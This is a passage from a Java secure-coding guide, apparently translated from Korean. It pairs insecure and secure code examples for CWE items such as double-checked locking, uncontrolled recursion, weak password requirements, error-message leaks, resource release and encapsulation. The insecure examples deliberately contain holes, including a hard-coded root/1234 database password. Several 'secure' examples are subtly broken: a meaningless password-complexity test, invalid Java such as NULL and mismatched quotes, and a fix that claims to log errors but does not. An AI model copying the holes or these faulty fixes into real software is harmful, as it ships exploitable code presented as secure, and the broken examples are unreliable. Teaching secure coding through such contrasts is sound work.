4: // 객체의 생성은 직접 생성자를 호출하여 생성한다.
5: testbed.safe.S386.Add add = new testbed.safe.S386.Add();
6: System.out.println(add.add(3, 5));
7: testbed.safe.Add add2 = new testbed.safe.Add();
8: System.out.println(add2.add(3, 5));
9: }
10:
11: class Add {
12: private int add(int x, int y) {
13: return x + y;
14: }
15: }
16: }
17:
18: class Add {
19: int add(int x, int y) { return (x*x + y*y); }
20: }
Instead of java.lang.Class.forName, create objects by explicitly calling the constructor of each class.
D. References
[1] CWE-386: Symbolic Name not Mapping to Correct Object – http://cwe.mitre.org/data/definitions/386.html
6. Double-Checked Locking
A. Definition
Double-checked locking is used to improve program efficiency, but it does not always work as intended. To reduce synchronization overhead, programmers write code to ensure only one instance of an object is allocated. However, in Java, because the object reference address can be assigned before the constructor is fully executed, an object might be used while it is in an incompletely initialized state.
B. Secure Coding Techniques
Attempting to check twice whether a specific resource is allocated (or not) does not guarantee the desired state of that resource. To perfectly guarantee the integrity of double-checked locking, the method itself should be synchronized.
C. Examples
Insecure Code Example
1: ……
2: Helper helper;
3:
4: public Helper MakeHelper() {
5: // helper 객체의 null 체크에 대해서는 동기화가 되지 않는다.
6: if (helper == null) {
7: synchronized (this) {
8: if (helper == null) {
9: helper = new Helper();
10: }
11: }
12: }
13: return helper;
14: }
15:
16: class Helper {
17: ……
18: }
19: }
The code above is designed to ensure that only one Helper object is allocated. While it appears to guarantee thread safety while avoiding unnecessary synchronization, Java’s memory model allows for the assignment of the reference before the constructor completes. This can lead to other threads seeing a non-null helper that is not yet fully initialized.
Secure Code Example
1: ……
2: Helper helper;
3:
4: // 메소드 전체에 대해 동기화를 하도록 설정함.
5: public synchronized Helper MakeHelper() {
6: if (helper == null) {
7: helper = new Helper();
8: }
9: return helper;
10: }
11: }
12:
13: class Helper {
14: ……
15: }
If you want a perfect guarantee against the issues of double-checked locking, configure the entire method to be synchronized.
D. References
[1] CWE-609: Double-Checked Locking – http://cwe.mitre.org/data/definitions/609.html
[2] David Bacon et al.. “The “Double-Checked Locking is Broken” Declaration”. http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html
7. Uncontrolled Recursion
A. Definition
It is dangerous to use excessive resources, such as allocated memory or the program stack, due to a failure to control the number of recursive cycles. In most cases, recursion without a base case leads to infinite recursion.
B. Secure Coding Techniques
To prevent infinite recursion, all recursive calls must be performed only within conditional blocks (if statements) or loop blocks that ensure a termination condition is met.
C. Examples
Insecure Code Example
1: ……
2: public int factorial(int n) {
3: // 재귀 호출이 조건문/반복문 블럭 외부에서 일어나면 대부분 무한 재귀를 유발한다.
4: return n * factorial(n - 1);
5: }
In the case of recursively defined functions, if the recursive call occurs outside of a conditional or loop block, it almost always triggers infinite recursion, eventually leading to a StackOverflowError.
Secure Code Example
1: ……
2: public int factorial(int n) {
3: int i;
4: // 모든 재귀 호출은 조건문이나 반복문 블럭 안에서 이루어져야한다.
5: if (n == 1) {
6: i = 1;
7: } else {
8: i = n * factorial(n - 1);
9: }
10: return i;
11: }
Every recursive call must be contained within a logic block that checks for a base case to ensure the recursion terminates safely.
D. References
[1] CWE-674: Uncontrolled Recursion – http://cwe.mitre.org/data/definitions/674.html
Section 5. Error Handling
Normal errors are exceptions that occur under specific, predefined conditions, while abnormal errors occur in situations that haven’t been predefined. By defining and programming secure error-handling routines for both types of errors in advance, developers can prevent security threats that might arise during the error-handling process. Security vulnerabilities occur when errors are handled insufficiently (or not at all), or when error messages contain excessive information that an attacker can exploit.
1. Weak Password Requirements
A. Definition
If strong passwords are not required from users, it becomes difficult to protect user accounts from unauthorized access.
B. Secure Coding Techniques
Strict conditions regarding password complexity and length must be enforced during the account creation or password change process.
C. Examples
Insecure Code Example
1: ……
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws IOException, ServletException {
4: try {
5: String id = request.getParameter("id");
6: String passwd = request.getParameter("passwd" );
7: // 패스워드 복잡도 검증 없이 가입 승인 처리
8: ....
9: } catch (SQLException e) { …… }
10: }
As shown in the example above, if registration is approved without verifying the complexity of the password entered by the user, the account remains vulnerable to attacks like brute-forcing or dictionary attacks.
Secure Code Example
1: ……
2: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
3:
4: public void doPost(HttpServletRequest request, HttpServletResponse response)
5: throws IOException, ServletException {
6: try {
7: String id = request.getParameter("id");
8: String passwd = request.getParameter("passwd");
9:
10: // passwd에 대한 복잡도 검증
11: if (passwd == null || " " .equals(passwd)) return;
12: if (!passwd.matches(" ") && passwd.indexOf("@!#") > 4 && passwd.length() > 8) {
13: // passwd 복잡도 검증 후, 가입 승인 처리
14: }
15: } catch (SQLException e) { …… }
16: catch (NamingException e) { …… }
17: }
To protect user accounts, registration approval is only performed after verifying that the password meets the required complexity standards.
D. References
[1] CWE-521: Weak Password Requirements – http://cwe.mitre.org/data/definitions/521.html
[2] OWASP Top Ten 2004 Category A3 – Broken Authentication and Session Management
2. Information Exposure Through an Error Message
A. Definition
Software can leak internal program information—such as the system environment, user details, or associated data—through error messages. For example, printing the exception name or a stack trace when an error occurs allows an attacker to easily understand the internal structure and logic of the program.
B. Secure Coding Techniques
Software distributed to end-users should never output internal structures or sensitive information that could be utilized by an attacker. Use generic error messages for the user interface while logging detailed technical information privately for developers.
C. Examples
Insecure Code Example
1: ……
2: public static void main(String[] args) {
3: String urlString = args[0];
4: try{
5: URL url = new URL(urlString);
6: URLConnection cmx = url.openConnection();
7: cmx.connect();
8: }
9: catch (Exception e) { e.printStackTrace(); }
10: }
Printing the exception name or stack trace exposes the internal workings of the program, which can be the first step for an attacker to conduct reconnaissance.
Secure Code Example
1: ……
2: public static void main(String[] args) {
3: String urlString = args[0];
4: try{
5: URL url = new URL(urlString);
6: URLConnection cmx = url.openConnection();
7: cmx.connect();
8: }
9: catch (Exception e) { System.out.println("연결 예외 발생" ); }
10:
The program does not print the exception name or stack trace, keeping the internal logic hidden from the user.
D. References
[1] CWE-209: Information Exposure Through an Error Message – http://cwe.mitre.org/data/definitions/209.html
3. Detection of Error Condition Without Action
A. Definition
If an error is captured but no action is taken, the program continues to execute in an unstable state, leading to unintended consequences. This “silent failure” prevents developers and system administrators from knowing that a critical operation (like a database connection) failed, potentially leading to null pointer exceptions or data corruption later in the execution flow.
B. Secure Coding Techniques
When an exception or error is caught, an appropriate handling routine must be implemented. This should include logging the error for administrators and either recovering from the error or terminating the process safely to prevent inconsistent states.
C. Examples
Insecure Code Example
1: ……
2: private Connection conn;
3:
4: public Connection DBConnect(String url, String id, String password) {
5: try {
6: String CONNECT_STRING = url + ":" + id + ":" + password;
7: InitialContext ctx = new InitialContext();
8: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
9: conn = datasource.getConnection();
10: } catch (SQLException e) {
11: //catch 블록이 비어있음
12: } catch (NamingException e) {
13: //catch 블록이 비어있음
14: }
15: return conn;
16: }
The example above catches errors occurring in the try block but performs no action. Because the program continues to run, the caller receives a conn object that may be null or invalid without any indication of why the connection failed.
Secure Code Example
1: ……
2: private Connection conn;
3:
4: public Connection DBConnect(String url, String id, String password) {
5: try {
6: String CONNECT_STRING = url + ":" + id + ":" + password;
7: InitialContext ctx = new InitialContext();
8: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
9: conn = datasource.getConnection();
10: } catch (SQLException e) {
11: //Exception catch이후 Exception에 대한 적절한 처리를 해야 한다.
12: if ( conn != null ) {
13: try {
14: conn.close();
15: } catch (SQLException e1) {
16: conn = null;
17: }
18: }
19: } catch (NamingException e) {
20: //Exception catch이후 Exception에 대한 적절한 처리를 해야 한다.
21: if ( conn != null ) {
22: try {
23: conn.close();
24: } catch (SQLException e1) {
25: conn = null;
26: }
27: }
28: }
29: return conn;
30: }
After catching the exception, the code handles each specific Exception appropriately by logging the incident and ensuring resources are cleaned up or set to a safe state.
D. References
[1] CWE-390: Detection of Error Condition Without Action – http://cwe.mitre.org/data/definitions/390.html
[2] OWASP Top Ten 2004 Category A7 – Improper Error Handling
4. Improper Check for Unusual or Exceptional Conditions
A. Definition
Failing to properly process the result values of functions or inadequately checking conditions for exceptional situations during program execution can lead to unexpected problems.
B. Secure Coding Techniques
Check the result values of all functions that return a value to ensure they are the expected values. When using exception handling, perform specific exception handling instead of broad exception handling.
C. Examples
Insecure Code Example
1: public void readFromFile(String fileName) {
2: try {
3: ...
4: File myFile = new File(fileName);
5: FileReader fr = new FileReader(myFile);
6: ...
7: } catch (Exception ex) {...}
8: }
A File object was created without a null check for fileName as a function argument, and exception handling was performed using the broad exception class Exception.
Secure Code Example
1: public void readFromFile(String fileName) throws FileNotFoundException,
2: IOException,MyException {
3: try {
4: ...
5: // filename에 대한 널을 조사
6: if ( fileName == NULL ) throw new MyException("에러“);
7: File myFile = new File(fileName);
8: FileReader fr = new FileReader(myFile);
9: ...
10: // 함수 루틴에서 모든 가능한 예외에 대해서 처리한다.
11: } catch (FileNotFoundException fe) {...}
12: } catch (IOException ie) {...}
13: }
The code checks if fileName is a null value; if it is null, it outputs an error message and triggers an exception. Furthermore, it performs specific exception handling for all possible exceptions.
D. References
[1] CWE-754 Improper Check for Unusual or Exceptional Conditions – http://cwe.mitre.org/data/definitions/754.html
CWE-252 Unchecked Return Value – http://cwe.mitre.org/data/definitions/252.html
CWE-253 Incorrect Check of Function Return Value – http://cwe.mitre.org/data/definitions/253.html
CWE-273 Improper Check for Dropped Privileges – http://cwe.mitre.org/data/definitions/273.html
CWE-296 Improper Following of a Certificate’s Chain of Trust – http://cwe.mitre.org/data/definitions/296.html
CWE-297 Improper Validation of Certificate with Host-Mismatched ID – http://cwe.mitre.org/data/definitions/297.html
CWE-298 Improper Validation of Certificate Expiration – http://cwe.mitre.org/data/definitions/298.html
CWE-299 Improper Check for Certificate Revocation – http://cwe.mitre.org/data/definitions/299.html
[2] SANS Top 25 Most Dangerous Software Errors, http://www.sans.org/top25-software-errors/
[3] M. Howard, D. LeBlanc, Writing Secure Code, Second Edition, Microsoft Press
Section 6. Code Quality
A completed program must maintain a certain level of code quality to satisfy functionality, reliability, usability, maintainability, efficiency, and portability. If the program code is too complex, not only do manageability, maintainability, and readability decrease, but it also becomes difficult to port to other systems. Furthermore, there is a possibility that vulnerabilities threatening security may be hidden within the code.
1. Code Correctness: Call to notify()
A. Definition
Directly calling a thread’s notify() makes it unclear which thread among the waiting threads will be awakened. Therefore, it is better not to call it directly
B. Secure Coding Techniques
Since calling notify() directly makes it unclear which thread will be awakened, it is better not to use it.
C. Examples
Insecure Code Example
1: ……
2: public synchronized void notifyJob() {
3: boolean flag = true;
4: notify();
5: }
Directly calling notify() makes it unclear which thread will be awakened.
Secure Code Example
1: ……
2: public synchronized void notifyJob() {
3: boolean flag = true;
4: //notify() 메소드를 사용하지 않는다.
5: }
The notify() method is not used.
D. References
[1] CWE-362: Race Condition – http://cwe.mitre.org/data/definitions/362.html
CWE-662: Improper Synchronization – http://cwe.mitre.org/data/definitions/662.html
[2] Sun Microsystems, Inc. Java Sun Tutorial – Concurrency
2. Improper Resource Shutdown or Release
A. Definition
Program resources, such as open file descriptors, heap memory, and sockets, are finite. After these resources are allocated and used, they must be properly released when they are no longer needed.
B. Secure Coding Techniques
After acquiring and using a resource, you must ensure the resource is released within a finally block.
C. Examples
Insecure Code Example
1: ……
2: public void processFile() throws SQLException {
3: Connection conn = null;
4: final String url = "jdbc:mysql://127.0.0.1/example?user=root&password=1234";
5: try {
6: Class.forName("com.mysql.jdbc.Driver");
7: conn = DriverManager.getConnection(url);
8: ……
9: // 예외발생시 할당 받은 자원이 반환되지 않는다.
10: conn.close();
11: } catch (ClassNotFoundException e) {
12: System.err.println("ClassNotFoundException occured");
13: } catch (SQLException e) {
14: System.err.println("SQLException occured");
15: } finally {
16:
17: ……
In the example above, if an exception occurs while using the database connection, the allocated database connection and JDBC resources are not returned. If this situation repeats, the available resources in the system may be exhausted.
Secure Code Example
1: ……
2: public void processFile() throws SQLException {
3: Connection conn = null;
4: String url = "jdbc:mysql://127.0.0.1/example?user=root&password=1234";
5: try {
6: Class.forName("com.mysql.jdbc.Driver");
7: conn = DriverManager.getConnection(url);
8: ……
9: } catch (ClassNotFoundException e) {
10: System.err.print("error");
11: } catch (SQLException e) {
12: System.err.print("error");
13: } finally {
14: ……
15: // 더 이상 사용하지 않으면 즉시 close()를 해줘야 한다.
16: conn.close();
17: ……
When a function terminates due to an exceptional situation, the allocated resources are returned in the finally block regardless of whether an exception occurred.
D. References
[1] CWE-404: Improper Resource Shutdown or Release – http://cwe.mitre.org/data/definitions/404.html
[2] SANS Top 25 2009 – (SANS 2009) Risky Resource Management – CWE ID 404 Improper Resource Shutdown or Release
3. NULL Pointer Dereference
A. Definition
A NULL pointer dereference occurs when the assumption that “a specific object cannot be NULL” is violated. If an attacker intentionally triggers a NULL pointer dereference, they can use the resulting exception to gather information for planning subsequent attacks.
B. Secure Coding Techniques
References that have the potential to be null must be checked for a null value before being referenced, and should only be used if they are confirmed to be safe.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: String cmd = System.getProperty("cmd");
4: // cmd가 null인지 체크하지 않았다.
5: cmd = cmd.trim();
6: System.out.println(cmd);
7: ……
The example above assumes that the “cmd” property is always defined. However, if an attacker controls the program environment such that the “cmd” property is not defined, cmd becomes null, causing a NullPointerException when the trim() method is called.
Secure Code Example
1: ……
2: public void f() {
3: String cmd = System.getProperty("cmd");
4: // cmd가 null인지 체크하여야 한다.
5: if (cmd != null) {
6: cmd = cmd.trim();
7: System.out.println(cmd);
8: } else System.out.println("null command");
9: ……
The variable is used only after first checking whether cmd is null.
D. References
[1] CWE-476: NULL Pointer Dereference – http://cwe.mitre.org/data/definitions/476.html
4. Code Correctness: Incorrect serialPersistentFields Modifier
A. Definition
To use serialPersistentFields correctly, it must be declared as private static final. If it is declared as public and shared, it can compromise the correctness of the serialization process and break encapsulation.
B. Secure Coding Techniques
To ensure the correct usage of serialPersistentFields, it must be declared with the private, static, and final modifiers.
C. Examples
Insecure Code Example
1: class List implements Serializable {
2: public ObjectStreamField[] serialPersistentFields =
{ new ObjectStreamField("myField", List.class) };
3: ……
4: }
To use serialPersistentFields correctly, it must be declared as private static final.
Secure Code Example
1: class List implements Serializable {
2: private static final ObjectStreamField[] serialPersistentFields =
{ new ObjectStreamField("myField", List.class) };
3: ……
4: }
To use serialPersistentFields correctly, it must be declared as private static final.
D. References
[1] CWE-485: Insufficient Encapsulation – http://cwe.mitre.org/data/definitions/485.html
[2] Sun Microsystems, Inc. Java Sun Tutorial
5. Code Correctness: Call to Thread.run()
A. Definition
In a program, calling run() instead of start() on a thread object does not create a new thread. Instead, it directly calls the run() function and waits for its execution to finish. In other words, while the programmer intended to start a new thread, calling run() executes the method within the caller’s current thread.
B. Secure Coding Techniques
Ensure that start() is executed instead of the thread’s run() method to properly initiate multi-threaded execution.
C. Examples
Insecure Code Example
1: ……
2: protected void cwe_572() {
3: Thread thr = new PrintThread();
4: // 스레드 객체의 run() 메소드를 직접 호출하는 것은 대부분 버그이다.
5: thr.run();
6: } ……
7: }
8: class PrintThread extends Thread {
9: public void run() { System.out.println("CWE 572 TEST"); }
10: }
The run() method is being used instead of start().
Secure Code Example
1: ……
2: protected void cwe_572() {
3: Thread thr = new PrintThread();
4: // 새로운 스레드를 시작시킨다.
5: thr.start();
6: } ……
7: }
8: class PrintThread extends Thread {
9: public void run() { System.out.println("CWE 572 TEST"); }
10: }
The thread’s start() method is used.
D. References
[1] CWE-572: Call to Thread.run() – http://cwe.mitre.org/data/definitions/572.html
6. Code Correctness: Non-Synchronized Method Overrides Synchronized Method
A. Definition
When using class inheritance, if a method in the parent class is defined as synchronized, it should either not be overridden in the subclass, or if it must be overridden, it must be defined as a synchronized method just like the original.
B. Secure Coding Techniques
If you must override a synchronized method in a subclass, it must be redefined as a synchronized method to maintain the same thread-safety expectations as the parent class.
C. Examples
Insecure Code Example
1: public class U9627 {
2: public synchronized void synchronizedMethod() {
3: for (int i=0; i<10; i++) System.out.print(i);
4: }
5: ……
6: }
7:
8: public class Foo extends U9627 {
9: //동기화된 메소드로 정의하지 않았다.
10: public void synchronizedMethod() {
11: for (int i=0; i<20; i++) System.out.print(i);
12: }
13: }
A synchronized method in a parent class must not be overridden as a non-synchronized method in a subclass.
Secure Code Example
1: public class S9627 {
2: public synchronized void synchronizedMethod() {
3: for (int i=0; i<10; i++) System.out.print(i);
4: }
5: ……
6: }
7:
8: public class Foo extends S9627 {
9: public synchronized void synchronizedMethod() {
10: for (int i=0; i<20; i++) System.out.print(i);
11: }
12: }
A synchronized method should either not be overridden at all, or if it is, it must be redefined as a synchronized method.
D. References
[1] CWE-665: Improper Initialization – http://cwe.mitre.org/data/definitions/665.html
[2] Sun Microsystems, Inc. Bug ID: 4294756: Javac should warn if synchronized method is overridden with a non-synchronized one.
7. Allocation of Resources Without Limits or Throttling
A. Definition
A vulnerability occurs when a program fails to release resources after use, or fails to limit the amount of resources provided per user, allocating requested resources for every service request without restriction.
B. Secure Coding Techniques
After opening and using a resource in a program, you must ensure the resource is released.
Limit the size of resources that a single user can utilize.
※ Restrict the amount of resources accessible to users. In particular, use Pools (Thread Pool, Connection Pool, etc.) to efficiently manage limited resources.
C. Examples
Insecure Code Example
1: Connection conn = null;
2: PreparedStatement pstmt = null;
3: try {
4: conn=getConnection();
5: ...
6: pstmt = conn.prepareStatement("SELECT * FROM employees
7: where name=?");
8: ...
9: conn.close();
10: pstmt.close();
11: }catch (SQLException ex) {...}
If an exception occurs before reaching the close() statements, the opened resources remain in memory as dangling resources. Since the references are lost, they cannot be reused, leading to resource leaks.
Secure Code Example
1: Connection conn = null;
2: PreparedStatement pstmt = null;
3: try {
4: conn=getConnection();
5: ...
6: pstmt = conn.prepareStatement("SELECT * FROM employees
7: where name=?");
8: ...
9: }catch (SQLException ex) {...}
10: // 자원을 사용하고 해제 시 항상 finally문에서 한다.
11: finally {
12: if ( conn!= null ) try { conn.close(); } catch (SQLException e){...}
13: if ( pstmt!= null ) try { pstmt.close(); } catch (SQLException e){...}
14: }
Even if an exception occurs in the middle of execution, the finally block is always executed before the function terminates. Therefore, resources should always be released within the finally block.
D. References
[1] CWE-400: Uncontrolled Resource Consumption – http://cwe.mitre.org/data/definitions/400.html
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling
CWE-789: Uncontrolled Memory Allocation
CWE-770: Allocation of Resources Without Limits or Throttling
[2] M. Howard and D. LeBlanc. “Writing Secure Code”. Chapter 17, “Protecting Against Denial of Service Attacks”.
[3] J. Antunes, N. Ferreira Neves and P. Verissimo. “Detection and Prediction of Resource-Exhaustion Vulnerabilities”.
Section 7. Encapsulation
If software insufficiently encapsulates important data or functionality, it becomes unable to distinguish between authorized and unauthorized data, potentially leading to data leakage among unauthorized users. Encapsulation is used not only in the general context of software development to hide detailed implementation but also in a broader sense regarding software security.
1. Data Leak Between Sessions
A. Definition
In a multi-threaded environment, a race condition can occur in the fields of a singleton object. Therefore, in a multi-threaded environment, servlets should not include fields that store information to ensure that data cannot be accessed across sessions.
B. Safe Coding Techniques
Do not declare member fields in subclasses of the HttpServlet class. If necessary, declare and use local variables.
C. Examples
Insecure Code Example
1: public class U488 extends HttpServlet {
2: private String name;
3: protected void doPost(HttpServletRequest request, HttpServletResponse response)
4: throws ServletException, IOException {
5: name = request.getParameter("name");
6: ……
7: out.println(name + ", thanks for visiting!");
8: }
9: }
If two users connect almost simultaneously, and the thread for the second user executes name = ... before the thread for the first user executes out.println(...), the first user will see the second user’s information (name).
Secure Code Example
1: public class S488 extends HttpServlet {
2: protected void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4: // 지역변수로 변경한다.
5: String name = request.getParameter("name");
6: if (name == null || "".equals(name)) return;
7: out.println(name + ", thanks for visiting!");
8: }
9: }
Declare and use local variables as needed.
D. References
[1] CWE-488: Exposure of Data Element to Wrong Session – http://cwe.mitre.org/data/definitions/488.html
2. Leftover Debug Code
A. Definition
Code inserted for debugging purposes must be removed once development is complete. If it is deployed without being removed, an attacker may bypass identification processes, or unintended information and control data may be leaked.
B. Secure Coding Techniques
Do not define a main() method in applications such as J2EE. While these are often created for debugging, the main() method must be deleted once debugging is finished.
C. Examples
Insecure Code Example
1: public class U489 extends HttpServlet {
2: protected void doGet(HttpServletRequest request, … ) throws …… { …… }
3: protected void doPost(HttpServletRequest request, … ) throws …… { …… }
4: // 테스트를 위한 main()함수나 디버깅용 로그 출력문 등이 남아 있다.
5: public static void main(String args[]) {
6: System.err.printf("Print debug code");
7: }
8: ……
In applications like J2EE, the main() method used for debugging purposes must be deleted.
Secure Code Example
1: public class S489 extends HttpServlet {
2: protected void doGet(HttpServletRequest request, … ) throws …… { …… }
3: protected void doPost(HttpServletRequest request, … ) throws …… { …… }
4: //테스트용 코드는 제거해준다.
In applications like J2EE, the debugging main() method is deleted.
D. References
[1] CWE-489: Leftover Debug Code – http://cwe.mitre.org/data/definitions/489.html
3. Use of Inner Class Containing Sensitive Data
A. Definition
Because inner classes are converted to package-level accessibility during the compilation process, unintended information disclosure may occur. To avoid this, consider using static inner classes, local inner classes, or anonymous inner classes.
B. Secure Coding Techniques
When using an inner class, ensure it does not access the private fields of the outer class. Avoid using inner classes if possible. If an inner class is unavoidable, use a static, local, or anonymous inner class.
C. Examples
Insecure Code Example
1: public final class U492 extends Applet {
2: // 외부 클래스에서 내부 클래스로 가면서 보안 수준을 낮추어서는 않된다.
3: public class urlHelper { String openData = secret; }
4: String secret;
5: urlHelper helper = new urlHelper();
6: }
Since inner classes are changed to package-level access control in bytecode, sensitive information from the surrounding class can be leaked through the inner class when it accesses that information.
Secure Code Example
1: public class S492 extends Applet {
2: // 내부 클래스를 정적(static) 선언하여 외부클래스의 private 필드에 접근 못하게 한다.
3: public static class urlHelper { ... }
4: String secret;
5: urlHelper helper = new urlHelper(secret);
6: }
7:
Be careful when using inner classes to ensure they do not access the private fields of the outer class.
D. References
[1] CWE-492: Use of Inner Class Containing Sensitive Data – http://cwe.mitre.org/data/definitions/492.html
4. Critical Public Variable Without Final Modifier
A. Definition
If a member variable declared as public is not declared as final, its value can be modified from outside the class. Generally, changes to an object’s state should only be permitted through authorized interfaces.
B. Secure Coding Techniques
Public member variables that must not be changed must be declared as final.
C. Examples
Insecure Code Example
1: public final class U493 extends Applet {
2: // price 필드가 final이 아니기 때문에, 외부에서 price를 수정할 수 있다.
3: public static float price = 500;
4:
5: public float getTotal(int count) {
6: return price * count;
7: }
8: ……
Because the price field is not final, it can be changed externally, which may lead to the manipulation of the value returned by getTotal().
Secure Code Example
1: public final class S493 extends Applet {
2: // 수정되면 안되는 변수는 final 키워드로 선언한다.
3: public static final float price = 500;
4:
5: public float getTotal(int count) {
6: return price * count; // price 수정 불가
7: }
8: }
Declare public member variables that should not be changed using the final keyword.
D. References
[1] CWE-493: Critical Public Variable Without Final Modifier – http://cwe.mitre.org/data/definitions/493.html
5. Private Array-Typed Field Returned From A Public Method
A. Definition
If an array declared as private is returned through a public method, the reference to that array is exposed externally, allowing the array to be modified from outside the class.
B. Secure Coding Techniques
Avoid returning arrays declared as private through public methods. If necessary, return a clone of the array or provide separate public methods that control modifications.
C. Examples
Insecure Code Example
1: // private 인 배열을 public인 메소드가 return한다
2: private String[] colors;
3: public String[] getColors() { return colors; }
Although the member variable colors is declared as private, its reference can be obtained through the public method getColors(). This can lead to unintended modifications.
Secure Code Example
1: ……
2: private String[] colors;
3: // 메소드를 private으로 하거나, 복제본을 반환하거나, 수정을 제어하는 public 메소드를 별도로 만든다.
4: public String[] getColors() {
5: String[] ret = null;
6: if ( this.colors != null ) {
7: ret = new String[colors.length];
8: for (int i = 0; i < colors.length; i++) { ret[i] = this.colors[i]; }
9: }
10: return ret;
11: }
12: ……
By creating and returning a clone of the private array, you can prevent unintended modifications to the original array declared as private.
D. References
[1] CWE-495: Private Array-Typed Field Returned From A Public Method – http://cwe.mitre.org/data/definitions/495.html
6. Public Data Assigned to Private Array-Typed Field
A. Definition
If data declared as public or arguments of a method are stored in a private array, the private array can be accessed from the outside.
B. Secure Coding Techniques
Ensure that data declared as public is not directly assigned to an array declared as private.
C. Examples
Insecure Code Example
1: ……
2: // userRoles 필드는 private이지만, public인 setUserRoles()를 통해 외부의 배열이 할당되면,사실상 public 필드가 된다.
3: private String[] userRoles;
4:
5: public void setUserRoles(String[] userRoles) {
6: this.userRoles = userRoles;
7: }
8: ……
Although the userRoles field is private, if an external array is assigned through the public method setUserRoles(), it effectively acts as a public field because the external reference is maintained.
Secure Code Example
1: ……
2: // 객체가 클래스의 private member를 수정하지 않도록 한다.
3: private String[] userRoles;
4:
5: public void setUserRoles(String[] userRoles) {
6: this.userRoles = new String[userRoles.length];
7: for (int i = 0; i < userRoles.length; ++i)
8: this.userRoles[i] = userRoles[i];
9: }
10: ……
By assigning the “values” of the array rather than the reference of the input array to the private array, the access rights as a private member are maintained.
D. References
[1] CWE-496: Public Data Assigned to Private Array-Typed Field – http://cwe.mitre.org/data/definitions/496.html
7. Information Leak of System Data
A. Definition
Exposing internal system data or debugging information provides attackers with insights and opportunities to exploit the system.
B. Secure Coding Techniques
All code that outputs system information for debugging purposes must be deleted.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: try { g(); }
4: catch (IOException e) {
5: // 예외 발생시 printf(e.getMessage())를 통해 오류 메시지 정보가 유출된다.
6: System.err.printf(e.getMessage());
7: }
8: }
9: private void g() throws IOException { …… }
10: …
When an exception occurs, sensitive information such as system error details related to the error can be leaked through getMessage().
Secure Code Example
1: ……
2: public void f() {
3: try { g(); }
4: catch (IOException e) {
5: // end user가 볼 수 있는 오류 메시지 정보를 생성하지 않아야 한다.
6: System.err.println(" IOException Occured" );
7: }
8: }
9: private void g() throws IOException { …… }
10: ……
Whenever possible, detailed information related to errors that could serve as a pretext for an attack should not be exposed to the end-user.
D. References
[1] CWE-497: Exposure of System Data to an Unauthorized Control Sphere – http://cwe.mitre.org/data/definitions/497.html
8. Use of Dynamic Class Loading
A. Definition
Loading classes dynamically introduces the risk that the loaded class may contain malicious code. Therefore, dynamic class loading should be avoided.
B. Secure Coding Techniques
Do not use dynamic loading.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: // 외부 입력으로 동적 클래스 로딩
4: String classname = System.getProperty("customClassName" );
5: try {
6: Class clazz = Class.forName(classname);
7: System.out.println(clazz);
8: } catch (ClassNotFoundException e) { …… }
9: ……
Classes loaded dynamically can potentially be malicious code.
Secure Code Example
1: ……
2: public void f() {
3: //외부 입력으로 동적 클래스 로딩하지 않도록 한다.
4: TestClass tc = new TestClass();
5: System.out.println(tc);
6: …
Avoid using dynamic loading whenever possible. If it must be used, pre-define all allowed classes that are permitted to be loaded.
D. References
[1] CWE-545: Use of Dynamic Class Loading – http://cwe.mitre.org/data/definitions/545.html
